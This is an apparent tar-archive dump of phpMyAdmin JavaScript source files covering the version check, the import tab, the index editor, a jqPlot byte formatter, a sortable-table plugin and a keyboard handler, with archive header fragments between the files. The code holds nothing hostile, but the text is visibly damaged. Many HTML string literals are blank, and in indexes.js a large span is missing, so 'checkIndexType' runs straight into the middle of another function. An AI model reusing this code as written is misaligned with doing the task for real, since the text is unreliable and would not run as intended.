GitInfo.parseVersionString($('span.version').text()); const latest = GitInfo.parseVersionString(data.version); const url = './url.php?url=https://www.phpmyadmin.net/files/' + Functions.escapeHtml(encodeURIComponent(data.version)) + '/'; let versionInformationMessage = document.createElement('span'); versionInformationMessage.className = 'latest'; const versionInformationMessageLink = document.createElement('a'); versionInformationMessageLink.href = url; versionInformationMessageLink.className = 'disableAjax'; versionInformationMessageLink.target = '_blank'; versionInformationMessageLink.rel = 'noopener noreferrer'; const versionInformationMessageLinkText = document.createTextNode(data.version); versionInformationMessageLink.appendChild(versionInformationMessageLinkText); const prefixMessage = document.createTextNode(Messages.strLatestAvailable + ' '); versionInformationMessage.appendChild(prefixMessage); versionInformationMessage.appendChild(versionInformationMessageLink); if (latest > current) { const message = Functions.sprintf( Messages.strNewerVersion, Functions.escapeHtml(data.version), Functions.escapeHtml(data.date) ); let htmlClass = 'alert alert-primary'; if (Math.floor(latest / 10000) === Math.floor(current / 10000)) { /* Security update */ htmlClass = 'alert alert-danger'; } $('#newer_version_notice').remove(); const mainContainerDiv = document.createElement('div'); mainContainerDiv.id = 'newer_version_notice'; mainContainerDiv.className = htmlClass; const mainContainerDivLink = document.createElement('a'); mainContainerDivLink.href = url; mainContainerDivLink.className = 'disableAjax'; mainContainerDivLink.target = '_blank'; mainContainerDivLink.rel = 'noopener noreferrer'; const mainContainerDivLinkText = document.createTextNode(message); mainContainerDivLink.appendChild(mainContainerDivLinkText); mainContainerDiv.appendChild(mainContainerDivLink); $('#maincontainer').append($(mainContainerDiv)); } if (latest === current) { versionInformationMessage = document.createTextNode(' (' + Messages.strUpToDate + ')'); } /* Remove extra whitespace */ const versionInfo = $('#li_pma_version').contents().get(2); if (typeof versionInfo !== 'undefined') { versionInfo.textContent = versionInfo.textContent.trim(); } const $liPmaVersion = $('#li_pma_version'); $liPmaVersion.find('span.latest').remove(); $liPmaVersion.append($(versionInformationMessage)); } }, /** * Loads Git revision data from ajax for index.php */ displayGitRevision: function () { $('#is_git_revision').remove(); $('#li_pma_version_git').remove(); $.get( 'index.php?route=/git-revision', { 'server': CommonParams.get('server'), 'ajax_request': true, 'no_debug': true }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $(data.message).insertAfter('#li_pma_version'); } } ); } }; AJAX.registerTeardown('home.js', function () { $('#themesModal').off('show.bs.modal'); }); AJAX.registerOnload('home.js', function () { $('#themesModal').on('show.bs.modal', function () { $.get('index.php?route=/themes', function (data) { $('#themesModal .modal-body').html(data.themes); }); }); /** * Load version information asynchronously. */ if ($('li.jsversioncheck').length > 0) { $.ajax({ dataType: 'json', url: 'index.php?route=/version-check', method: 'POST', data: { 'server': CommonParams.get('server') }, success: GitInfo.currentVersion }); } if ($('#is_git_revision').length > 0) { setTimeout(GitInfo.displayGitRevision, 10); } }); src/import.js000066600000014025151724472050007220 0ustar00/** * Functions used in the import tab * */ /** * Toggles the hiding and showing of each plugin's options * according to the currently selected plugin from the dropdown list */ function changePluginOpts () { $('#format_specific_opts').find('div.format_specific_options').each(function () { $(this).hide(); }); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').fadeIn('slow'); const importNotification = document.getElementById('import_notification'); importNotification.innerText = ''; if (selectedPluginName === 'csv') { importNotification.innerHTML = ''; } } /** * Toggles the hiding and showing of each plugin's options and sets the selected value * in the plugin dropdown list according to the format of the selected file * * @param {string} fname */ function matchFile (fname) { var fnameArray = fname.toLowerCase().split('.'); var len = fnameArray.length; if (len !== 0) { var extension = fnameArray[len - 1]; if (extension === 'gz' || extension === 'bz2' || extension === 'zip') { len--; } // Only toggle if the format of the file can be imported if ($('select[name=\'format\'] option').filterByValue(fnameArray[len - 1]).length === 1) { $('select[name=\'format\'] option').filterByValue(fnameArray[len - 1]).prop('selected', true); changePluginOpts(); } } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('import.js', function () { $('#plugins').off('change'); $('#input_import_file').off('change'); $('#select_local_import_file').off('change'); $('#input_import_file').off('change').off('focus'); $('#select_local_import_file').off('focus'); $('#text_csv_enclosed').add('#text_csv_escaped').off('keyup'); }); AJAX.registerOnload('import.js', function () { // import_file_form validation. $(document).on('submit', '#import_file_form', function () { var radioLocalImport = $('#localFileTab'); var radioImport = $('#uploadFileTab'); var fileMsg = ''; var wrongTblNameMsg = ''; var wrongDBNameMsg = ''; if (radioLocalImport.length !== 0) { // remote upload. if (radioImport.hasClass('active') && $('#input_import_file').val() === '') { $('#input_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } if (radioLocalImport.hasClass('active')) { if ($('#select_local_import_file').length === 0) { Functions.ajaxShowMessage('', false); return false; } if ($('#select_local_import_file').val() === '') { $('#select_local_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } } } else { // local upload. if ($('#input_import_file').val() === '') { $('#input_import_file').trigger('focus'); Functions.ajaxShowMessage(fileMsg, false); return false; } if ($('#text_csv_new_tbl_name').length > 0) { var newTblName = $('#text_csv_new_tbl_name').val(); if (newTblName.length > 0 && newTblName.trim().length === 0) { Functions.ajaxShowMessage(wrongTblNameMsg, false); return false; } } if ($('#text_csv_new_db_name').length > 0) { var newDBName = $('#text_csv_new_db_name').val(); if (newDBName.length > 0 && newDBName.trim().length === 0) { Functions.ajaxShowMessage(wrongDBNameMsg, false); return false; } } } // show progress bar. $('#upload_form_status').css('display', 'inline'); $('#upload_form_status_info').css('display', 'inline'); }); // Initially display the options for the selected plugin changePluginOpts(); // Whenever the selected plugin changes, change the options displayed $('#plugins').on('change', function () { changePluginOpts(); }); $('#input_import_file').on('change', function () { matchFile($(this).val()); }); $('#select_local_import_file').on('change', function () { matchFile($(this).val()); }); /** * Set up the interface for Javascript-enabled browsers since the default is for * Javascript-disabled browsers */ $('#format_specific_opts').find('div.format_specific_options') .find('h3') .remove(); // $("form[name=import] *").unwrap(); /** * for input element text_csv_enclosed and text_csv_escaped allow just one character to enter. * as mysql allows just one character for these fields, * if first character is escape then allow two including escape character. */ $('#text_csv_enclosed').add('#text_csv_escaped').on('keyup', function () { if ($(this).val().length === 2 && $(this).val().charAt(0) !== '\\') { $(this).val($(this).val().substring(0, 1)); return false; } return true; }); }); src/indexes.js000066600000074775151724472050007367 0ustar00/** * @fileoverview function used for index manipulation pages * @name Table Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ /* global fulltextIndexes:writable, indexes:writable, primaryIndexes:writable, spatialIndexes:writable, uniqueIndexes:writable */ // js/functions.js var Indexes = {}; /** * Returns the array of indexes based on the index choice * * @param {string} indexChoice index choice * * @return {null|object} */ Indexes.getIndexArray = function (indexChoice) { var sourceArray = null; switch (indexChoice.toLowerCase()) { case 'primary': sourceArray = primaryIndexes; break; case 'unique': sourceArray = uniqueIndexes; break; case 'index': sourceArray = indexes; break; case 'fulltext': sourceArray = fulltextIndexes; break; case 'spatial': sourceArray = spatialIndexes; break; default: return null; } return sourceArray; }; /** * Hides/shows the inputs and submits appropriately depending * on whether the index type chosen is 'SPATIAL' or not. */ Indexes.checkIndexType = function () { /** * @var {JQuery= 0) { // Remove column from other indexes (if any). Indexes.removeColumnFromIndex(colIndex); } var indexName = $('input[name="index[Key_name]"]').val(); var indexComment = $('input[name="index[Index_comment]"]').val(); var keyBlockSize = $('input[name="index[Key_block_size]"]').val(); var parser = $('input[name="index[Parser]"]').val(); var indexType = $('select[name="index[Index_type]"]').val(); var columns = []; $('#index_columns').find('tbody').find('tr').each(function () { // Get columns in particular order. var colIndex = $(this).find('select[name="index[columns][names][]"]').val(); var size = $(this).find('input[name="index[columns][sub_parts][]"]').val(); columns.push({ 'col_index': colIndex, 'size': size }); }); // Update or create an index. sourceArray[arrayIndex] = { 'Key_name': indexName, 'Index_comment': indexComment, 'Index_choice': indexChoice.toUpperCase(), 'Key_block_size': keyBlockSize, 'Parser': parser, 'Index_type': indexType, 'columns': columns }; // Display index name (or column list) var displayName = indexName; if (displayName === '') { var columnNames = []; $.each(columns, function () { columnNames.push($('input[name="field_name[' + this.col_index + ']"]').val()); }); displayName = '[' + columnNames.join(', ') + ']'; } $.each(columns, function () { var id = 'index_name_' + this.col_index + '_8'; var $name = $('#' + id); if ($name.length === 0) { $name = $(''); $name.insertAfter($('select[name="field_key[' + this.col_index + ']"]')); } var $text = $('').text(displayName); $name.html($text); }); if (colIndex >= 0) { // Update index details on form. $('select[name="field_key[' + colIndex + ']"]') .attr('data-index', indexChoice + ',' + arrayIndex); } Indexes.setIndexFormParameters(sourceArray, indexChoice.toLowerCase()); }; /** * Get choices list for a column to create a composite index with. * * @param {any[]} sourceArray Array hodling columns for particular index * @param {string} colIndex Choice of index * * @return {JQuery} jQuery Object */ Indexes.getCompositeIndexList = function (sourceArray, colIndex) { // Remove any previous list. if ($('#composite_index_list').length) { $('#composite_index_list').remove(); } // Html list. var $compositeIndexList = $( '
          ' + '
          ' + Messages.strCompositeWith + '
          ' + '
        ' ); // Add each column to list available for composite index. var sourceLength = sourceArray.length; var alreadyPresent = false; for (var i = 0; i < sourceLength; i++) { var subArrayLen = sourceArray[i].columns.length; var columnNames = []; for (var j = 0; j < subArrayLen; j++) { columnNames.push( $('input[name="field_name[' + sourceArray[i].columns[j].col_index + ']"]').val() ); if (colIndex === sourceArray[i].columns[j].col_index) { alreadyPresent = true; } } $compositeIndexList.append( '
      • ' + '' + '' + '
      • ' ); } return $compositeIndexList; }; /** * Shows 'Add Index' dialog. * * @param {any[]} sourceArray Array holding particular index * @param {string} arrayIndex Index of an INDEX in array * @param {any[]} targetColumns Columns for an INDEX * @param {string} colIndex Index of column on form * @param {object} index Index detail object * @param {boolean} showDialog Whether to show index creation dialog or not * * @return {void} */ Indexes.showAddIndexDialog = function (sourceArray, arrayIndex, targetColumns, colIndex, index, showDialog) { var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true; // Prepare post-data. var $table = $('input[name="table"]'); var table = $table.length > 0 ? $table.val() : ''; var postData = { 'server': CommonParams.get('server'), 'db': $('input[name="db"]').val(), 'table': table, 'ajax_request': 1, 'create_edit_table': 1, 'index': index }; var columns = {}; for (var i = 0; i < targetColumns.length; i++) { var columnName = $('input[name="field_name[' + targetColumns[i] + ']"]').val(); var columnType = $('select[name="field_type[' + targetColumns[i] + ']"]').val().toLowerCase(); columns[columnName] = [columnType, targetColumns[i]]; } postData.columns = JSON.stringify(columns); var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; buttonOptions[Messages.strGo].click = function () { var isMissingValue = false; $('select[name="index[columns][names][]"]').each(function () { if ($(this).val() === '') { isMissingValue = true; } }); if (! isMissingValue) { Indexes.addColumnToIndex( sourceArray, arrayIndex, index.Index_choice, colIndex ); } else { Functions.ajaxShowMessage( '', false ); return false; } $(this).remove(); }; buttonOptions[Messages.strCancel].click = function () { if (colIndex >= 0) { // Handle state on 'Cancel'. var $selectList = $('select[name="field_key[' + colIndex + ']"]'); if (! $selectList.attr('data-index').length) { $selectList.find('option[value*="none"]').attr('selected', 'selected'); } else { var previousIndex = $selectList.attr('data-index').split(','); $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]') .attr('selected', 'selected'); } } $(this).dialog('close'); }; var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/table/indexes', postData, function (data) { if (data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); var $div = $('
        '); if (showDialogLocal) { // Show dialog if the request was successful if ($('#addIndex').length > 0) { $('#addIndex').remove(); } $div .append(data.message) .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strAddIndex, width: 450, minHeight: 250, create: function () { $(this).on('keypress', function (e) { if (e.which === 13 || e.keyCode === 13 || window.event.keyCode === 13) { e.preventDefault(); buttonOptions[Messages.strGo](); $(this).remove(); } }); }, open: function () { Functions.checkIndexName('index_frm'); Functions.showHints($div); $('#index_columns').find('td').each(function () { $(this).css('width', $(this).width() + 'px'); }); $('#index_columns').find('tbody').sortable({ axis: 'y', containment: $('#index_columns').find('tbody'), tolerance: 'pointer' }); }, modal: true, buttons: buttonOptions, close: function () { $(this).remove(); } }); } else { $div .append(data.message); $div.css({ 'display' : 'none' }); $div.appendTo($('body')); $div.attr({ 'id' : 'addIndex' }); var isMissingValue = false; $('select[name="index[columns][names][]"]').each(function () { if ($(this).val() === '') { isMissingValue = true; } }); if (! isMissingValue) { Indexes.addColumnToIndex( sourceArray, arrayIndex, index.Index_choice, colIndex ); } else { Functions.ajaxShowMessage( '', false ); return false; } } } }); }; /** * Creates a advanced index type selection dialog. * * @param {any[]} sourceArray Array holding a particular type of indexes * @param {string} indexChoice Choice of index * @param {string} colIndex Index of new column on form * * @return {void} */ Indexes.indexTypeSelectionDialog = function (sourceArray, indexChoice, colIndex) { var $singleColumnRadio = $('' + ''); var $compositeIndexRadio = $('' + ''); var $dialogContent = $('
        '); $dialogContent.append('' + indexChoice.toUpperCase() + ''); // For UNIQUE/INDEX type, show choice for single-column and composite index. $dialogContent.append($singleColumnRadio); $dialogContent.append($compositeIndexRadio); var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; // 'OK' operation. buttonOptions[Messages.strGo].click = function () { if ($('#single_column').is(':checked')) { var index = { 'Key_name': (indexChoice === 'primary' ? 'PRIMARY' : ''), 'Index_choice': indexChoice.toUpperCase() }; Indexes.showAddIndexDialog(sourceArray, (sourceArray.length), [colIndex], colIndex, index); } if ($('#composite_index').is(':checked')) { if ($('input[name="composite_with"]').length !== 0 && $('input[name="composite_with"]:checked').length === 0 ) { Functions.ajaxShowMessage( '', false ); return false; } var arrayIndex = $('input[name="composite_with"]:checked').val(); var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } targetColumns.push(colIndex); Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex]); } $(this).remove(); }; buttonOptions[Messages.strCancel].click = function () { // Handle state on 'Cancel'. var $selectList = $('select[name="field_key[' + colIndex + ']"]'); if (! $selectList.attr('data-index').length) { $selectList.find('option[value*="none"]').attr('selected', 'selected'); } else { var previousIndex = $selectList.attr('data-index').split(','); $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]') .attr('selected', 'selected'); } $(this).remove(); }; $('
        ').append($dialogContent).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, minWidth: 525, minHeight: 200, modal: true, title: Messages.strAddIndex, resizable: false, buttons: buttonOptions, open: function () { $('#composite_index').on('change', function () { if ($(this).is(':checked')) { $dialogContent.append(Indexes.getCompositeIndexList(sourceArray, colIndex)); } }); $('#single_column').on('change', function () { if ($(this).is(':checked')) { if ($('#composite_index_list').length) { $('#composite_index_list').remove(); } } }); }, close: function () { $('#composite_index').off('change'); $('#single_column').off('change'); $(this).remove(); } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('indexes.js', function () { $(document).off('click', '#save_index_frm'); $(document).off('click', '#preview_index_frm'); $(document).off('change', '#select_index_choice'); $(document).off('click', 'a.drop_primary_key_index_anchor.ajax'); $(document).off('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax'); $(document).off('click', '#table_index tbody tr td.rename_index.ajax'); $(document).off('click', '#index_frm input[type=submit]'); $('body').off('change', 'select[name*="field_key"]'); $(document).off('click', '.show_index_dialog'); }); /** * @description

        Ajax scripts for table index page

        * * Actions ajaxified here: *
          *
        • Showing/hiding inputs depending on the index type chosen
        • *
        • create/edit/drop indexes
        • *
        */ AJAX.registerOnload('indexes.js', function () { // Re-initialize variables. primaryIndexes = []; uniqueIndexes = []; indexes = []; fulltextIndexes = []; spatialIndexes = []; // for table creation form var $engineSelector = $('.create_table_form select[name=tbl_storage_engine]'); if ($engineSelector.length) { Functions.hideShowConnection($engineSelector); } var $form = $('#index_frm'); if ($form.length > 0) { Functions.showIndexEditDialog($form); } $(document).on('click', '#save_index_frm', function (event) { event.preventDefault(); var $form = $('#index_frm'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'do_save_data=1' + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(Messages.strProcessingRequest); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }); $(document).on('click', '#preview_index_frm', function (event) { event.preventDefault(); Functions.previewSql($('#index_frm')); }); $(document).on('change', '#select_index_choice', function (event) { event.preventDefault(); Indexes.checkIndexType(); Functions.checkIndexName('index_frm'); }); /** * Ajax Event handler for 'Drop Index' */ $(document).on('click', 'a.drop_primary_key_index_anchor.ajax', function (event) { event.preventDefault(); var $anchor = $(this); /** * @var $currRow Object containing reference to the current field's row */ var $currRow = $anchor.parents('tr'); /** @var {number} rows Number of columns in the key */ var rows = $anchor.parents('td').attr('rowspan') || 1; /** @var {number} $rowsToHide Rows that should be hidden */ var $rowsToHide = $currRow; for (var i = 1, $lastRow = $currRow.next(); i < rows; i++, $lastRow = $lastRow.next()) { $rowsToHide = $rowsToHide.add($lastRow); } var question = $currRow.children('td') .children('.drop_primary_key_index_msg') .val(); Functions.confirmPreviewSql(question, $anchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strDroppingPrimaryKeyIndex, false); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); var $tableRef = $rowsToHide.closest('table'); if ($rowsToHide.length === $tableRef.find('tbody > tr').length) { // We are about to remove all rows from the table $tableRef.hide('medium', function () { $('div.no_indexes_defined').show('medium'); $rowsToHide.remove(); }); $tableRef.siblings('.alert-primary').hide('medium'); } else { // We are removing some of the rows only $rowsToHide.hide('medium', function () { $(this).remove(); }); } if ($('.result_query').length) { $('.result_query').remove(); } if (data.sql_query) { $('
        ') .html(data.sql_query) .prependTo('#structure_content'); Functions.highlightSql($('#page_content')); } Navigation.reload(); CommonActions.refreshMain('index.php?route=/table/structure'); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }); }); // end Drop Primary Key/Index /** * Ajax event handler for index edit **/ $(document).on('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax', function (event) { event.preventDefault(); var url; var title; if ($(this).find('a').length === 0) { // Add index var valid = Functions.checkFormElementInRange( $(this).closest('form')[0], 'added_fields', 'Column count has to be larger than zero.' ); if (! valid) { return; } url = $(this).closest('form').serialize(); title = Messages.strAddIndex; } else { // Edit index url = $(this).find('a').getPostData(); title = Messages.strEditIndex; } url += CommonParams.get('arg_separator') + 'ajax_request=true'; Functions.indexEditorDialog(url, title, function (data) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/structure'); }); }); /** * Ajax event handler for index rename **/ $(document).on('click', '#table_index tbody tr td.rename_index.ajax', function (event) { event.preventDefault(); var url = $(this).find('a').getPostData(); var title = Messages.strRenameIndex; url += CommonParams.get('arg_separator') + 'ajax_request=true'; Functions.indexRenameDialog(url, title, function (data) { CommonParams.set('db', data.params.db); CommonParams.set('table', data.params.table); CommonActions.refreshMain('index.php?route=/table/structure'); }); }); /** * Ajax event handler for advanced index creation during table creation * and column addition. */ $('body').on('change', 'select[name*="field_key"]', function (e, showDialog) { var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true; // Index of column on Table edit and create page. var colIndex = /\d+/.exec($(this).attr('name')); colIndex = colIndex[0]; // Choice of selected index. var indexChoice = /[a-z]+/.exec($(this).val()); indexChoice = indexChoice[0]; // Array containing corresponding indexes. var sourceArray = null; if (indexChoice === 'none') { Indexes.removeColumnFromIndex(colIndex); var id = 'index_name_' + '0' + '_8'; var $name = $('#' + id); if ($name.length === 0) { $name = $(''); $name.insertAfter($('select[name="field_key[' + '0' + ']"]')); } $name.html(''); return false; } // Select a source array. sourceArray = Indexes.getIndexArray(indexChoice); if (sourceArray === null) { return; } if (sourceArray.length === 0) { var index = { 'Key_name': (indexChoice === 'primary' ? 'PRIMARY' : ''), 'Index_choice': indexChoice.toUpperCase() }; Indexes.showAddIndexDialog(sourceArray, 0, [colIndex], colIndex, index, showDialogLocal); } else { if (indexChoice === 'primary') { var arrayIndex = 0; var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } targetColumns.push(colIndex); Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex], showDialogLocal); } else { // If there are multiple columns selected for an index, show advanced dialog. Indexes.indexTypeSelectionDialog(sourceArray, indexChoice, colIndex); } } }); $(document).on('click', '.show_index_dialog', function (e) { e.preventDefault(); // Get index details. var previousIndex = $(this).prev('select') .attr('data-index') .split(','); var indexChoice = previousIndex[0]; var arrayIndex = previousIndex[1]; var sourceArray = Indexes.getIndexArray(indexChoice); if (sourceArray !== null) { var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, -1, sourceArray[arrayIndex]); } }); $('#index_frm').on('submit', function () { if (typeof(this.elements['index[Key_name]'].disabled) !== 'undefined') { this.elements['index[Key_name]'].disabled = false; } }); }); src/jqplot/plugins/jqplot.byteFormatter.js000066600000002413151724472050015035 0ustar00/** * jqplot formatter for byte values * * @package phpMyAdmin */ (function ($) { 'use strict'; var formatByte = function (value, index) { var val = value; var i = index; var units = [ Messages.strB, Messages.strKiB, Messages.strMiB, Messages.strGiB, Messages.strTiB, Messages.strPiB, Messages.strEiB ]; while (val >= 1024 && i <= 6) { val /= 1024; i++; } var format = '%.1f'; if (Math.floor(val) === val) { format = '%.0f'; } return $.jqplot.sprintf( format + ' ' + units[i], val ); }; /** * The index indicates what unit the incoming data will be in. * 0 for bytes, 1 for kilobytes and so on... * * @param index * * @return {String} */ $.jqplot.byteFormatter = function (index) { var i = index || 0; return function (format, value) { var val = value; if (typeof val === 'number') { val = parseFloat(val) || 0; return formatByte(val, i); } else { return String(val); } }; }; }(jQuery)); src/jquery.sortable-table.js000066600000026031151724472050012124 0ustar00/** * This file is internal to phpMyAdmin. * @license see the main phpMyAdmin license. * * @fileoverview A jquery plugin that allows drag&drop sorting in tables. * Coded because JQuery UI sortable doesn't support tables. Also it has no animation * * @name Sortable Table JQuery plugin * * @requires jQuery */ /** * Options: * * $('table').sortableTable({ * ignoreRect: { top, left, width, height } - Relative coordinates on each element. If the user clicks * in this area, it is not seen as a drag&drop request. Useful for toolbars etc. * events: { * start: callback function when the user starts dragging * drop: callback function after an element has been dropped * } * }) */ /** * Commands: * * $('table').sortableTable('init') - equivalent to $('table').sortableTable() * $('table').sortableTable('refresh') - if the table has been changed, refresh correctly assigns all events again * $('table').sortableTable('destroy') - removes all events from the table */ /** * Setup: * * Can be applied on any table, there is just one convention. * Each cell () has to contain one and only one element (preferably div or span) * which is the actually draggable element. */ (function ($) { jQuery.fn.sortableTable = function (method) { var methods = { init: function (options) { var tb = new SortableTableInstance(this, options); tb.init(); $(this).data('sortableTable', tb); }, refresh: function () { $(this).data('sortableTable').refresh(); }, destroy: function () { $(this).data('sortableTable').destroy(); } }; if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on jQuery.sortableTable'); } function SortableTableInstance (table, options = {}) { var down = false; var $draggedEl; var oldCell; var previewMove; var id; /* Mouse handlers on the child elements */ var onMouseUp = function (e) { dropAt(e.pageX, e.pageY); }; var onMouseDown = function (e) { $draggedEl = $(this).children(); if ($draggedEl.length === 0) { return; } if (options.ignoreRect && insideRect({ x: e.pageX - $draggedEl.offset().left, y: e.pageY - $draggedEl.offset().top }, options.ignoreRect)) { return; } down = true; oldCell = this; if (options.events && options.events.start) { options.events.start(this); } return false; }; var globalMouseMove = function (e) { if (down) { move(e.pageX, e.pageY); if (inside($(oldCell), e.pageX, e.pageY)) { if (previewMove !== null) { moveTo(previewMove); previewMove = null; } } else { $(table).find('td').each(function () { if (inside($(this), e.pageX, e.pageY)) { if ($(previewMove).attr('class') !== $(this).children().first().attr('class')) { if (previewMove !== null) { moveTo(previewMove); } previewMove = $(this).children().first(); if (previewMove.length > 0) { moveTo($(previewMove), { pos: { top: $(oldCell).offset().top - $(previewMove).parent().offset().top, left: $(oldCell).offset().left - $(previewMove).parent().offset().left } }); } } return false; } }); } } return false; }; var globalMouseOut = function () { if (down) { down = false; if (previewMove) { moveTo(previewMove); } moveTo($draggedEl); previewMove = null; } }; // Initialize sortable table this.init = function () { id = 1; // Add some required css to each child element in the s $(table).find('td').children().each(function () { // Remove any old occurrences of our added draggable-num class $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, '')); $(this).addClass('draggable-' + (id++)); }); // Mouse events $(table).find('td').on('mouseup', onMouseUp); $(table).find('td').on('mousedown', onMouseDown); $(document).on('mousemove', globalMouseMove); $(document).on('mouseleave', globalMouseOut); }; // Call this when the table has been updated this.refresh = function () { this.destroy(); this.init(); }; this.destroy = function () { // Add some required css to each child element in the s $(table).find('td').children().each(function () { // Remove any old occurrences of our added draggable-num class $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, '')); }); // Mouse events $(table).find('td').off('mouseup', onMouseUp); $(table).find('td').off('mousedown', onMouseDown); $(document).off('mousemove', globalMouseMove); $(document).off('mouseleave', globalMouseOut); }; function switchElement (drag, dropTo) { var dragPosDiff = { left: $(drag).children().first().offset().left - $(dropTo).offset().left, top: $(drag).children().first().offset().top - $(dropTo).offset().top }; var dropPosDiff = null; if ($(dropTo).children().length > 0) { dropPosDiff = { left: $(dropTo).children().first().offset().left - $(drag).offset().left, top: $(dropTo).children().first().offset().top - $(drag).offset().top }; } /* I love you append(). It moves the DOM Elements so gracefully <3 */ // Put the element in the way to old place $(drag).append($(dropTo).children().first()).children() .stop(true, true) .on('mouseup', onMouseUp); if (dropPosDiff) { $(drag).append($(dropTo).children().first()).children() .css('left', dropPosDiff.left + 'px') .css('top', dropPosDiff.top + 'px'); } // Put our dragged element into the space we just freed up $(dropTo).append($(drag).children().first()).children() .on('mouseup', onMouseUp) .css('left', dragPosDiff.left + 'px') .css('top', dragPosDiff.top + 'px'); moveTo($(dropTo).children().first(), { duration: 100 }); moveTo($(drag).children().first(), { duration: 100 }); if (options.events && options.events.drop) { // Drop event. The drag child element is moved into the drop element // and vice versa. So the parameters are switched. // Calculate row and column index const colIdx = $(dropTo).prevAll().length; const rowIdx = $(dropTo).parent().prevAll().length; options.events.drop(drag, dropTo, { col: colIdx, row: rowIdx }); } } function move (x, y) { $draggedEl.offset({ top: Math.min($(document).height(), Math.max(0, y - $draggedEl.height() / 2)), left: Math.min($(document).width(), Math.max(0, x - $draggedEl.width() / 2)) }); } function inside ($el, x, y) { var off = $el.offset(); return y >= off.top && x >= off.left && x < off.left + $el.width() && y < off.top + $el.height(); } function insideRect (pos, r) { return pos.y > r.top && pos.x > r.left && pos.y < r.top + r.height && pos.x < r.left + r.width; } function dropAt (x, y) { if (!down) { return; } down = false; var switched = false; $(table).find('td').each(function () { if ($(this).children().first().attr('class') !== $(oldCell).children().first().attr('class') && inside($(this), x, y)) { switchElement(oldCell, this); switched = true; } }); if (!switched) { if (previewMove) { moveTo(previewMove); } moveTo($draggedEl); } previewMove = null; } function moveTo (elem, opts = {}) { if (!opts.pos) { opts.pos = { left: 0, top: 0 }; } if (!opts.duration) { opts.duration = 200; } $(elem).css('position', 'relative'); $(elem).animate({ top: opts.pos.top, left: opts.pos.left }, { duration: opts.duration, complete: function () { if (opts.pos.left === 0 && opts.pos.top === 0) { $(elem) .css('position', '') .css('left', '') .css('top', ''); } } }); } } }; }(jQuery)); src/keyhandler.js000066600000004343151724472050010036 0ustar00 // global var that holds: 0- if ctrl key is not pressed 1- if ctrl key is pressed var ctrlKeyHistory = 0; /** * Allows moving around inputs/select by Ctrl+arrows * * @param {object} event data */ function onKeyDownArrowsHandler (event) { var e = event || window.event; var o = (e.srcElement || e.target); if (!o) { return; } if (o.tagName !== 'TEXTAREA' && o.tagName !== 'INPUT' && o.tagName !== 'SELECT') { return; } if ((e.which !== 17) && (e.which !== 37) && (e.which !== 38) && (e.which !== 39) && (e.which !== 40)) { return; } if (!o.id) { return; } if (e.type === 'keyup') { if (e.which === 17) { ctrlKeyHistory = 0; } return; } else if (e.type === 'keydown') { if (e.which === 17) { ctrlKeyHistory = 1; } } if (ctrlKeyHistory !== 1) { return; } e.preventDefault(); var pos = o.id.split('_'); if (pos[0] !== 'field' || typeof pos[2] === 'undefined') { return; } var x = pos[2]; var y = pos[1]; switch (e.keyCode) { case 38: // up y--; break; case 40: // down y++; break; case 37: // left x--; break; case 39: // right x++; break; default: return; } var id = 'field_' + y + '_' + x; var nO = document.getElementById(id); if (! nO) { id = 'field_' + y + '_' + x + '_0'; nO = document.getElementById(id); } // skip non existent fields if (! nO) { return; } nO.focus(); if (nO.tagName !== 'SELECT') { nO.select(); } e.returnValue = false; } AJAX.registerTeardown('keyhandler.js', function () { $(document).off('keydown keyup', '#table_columns'); $(document).off('keydown keyup', 'table.insertRowTable'); }); 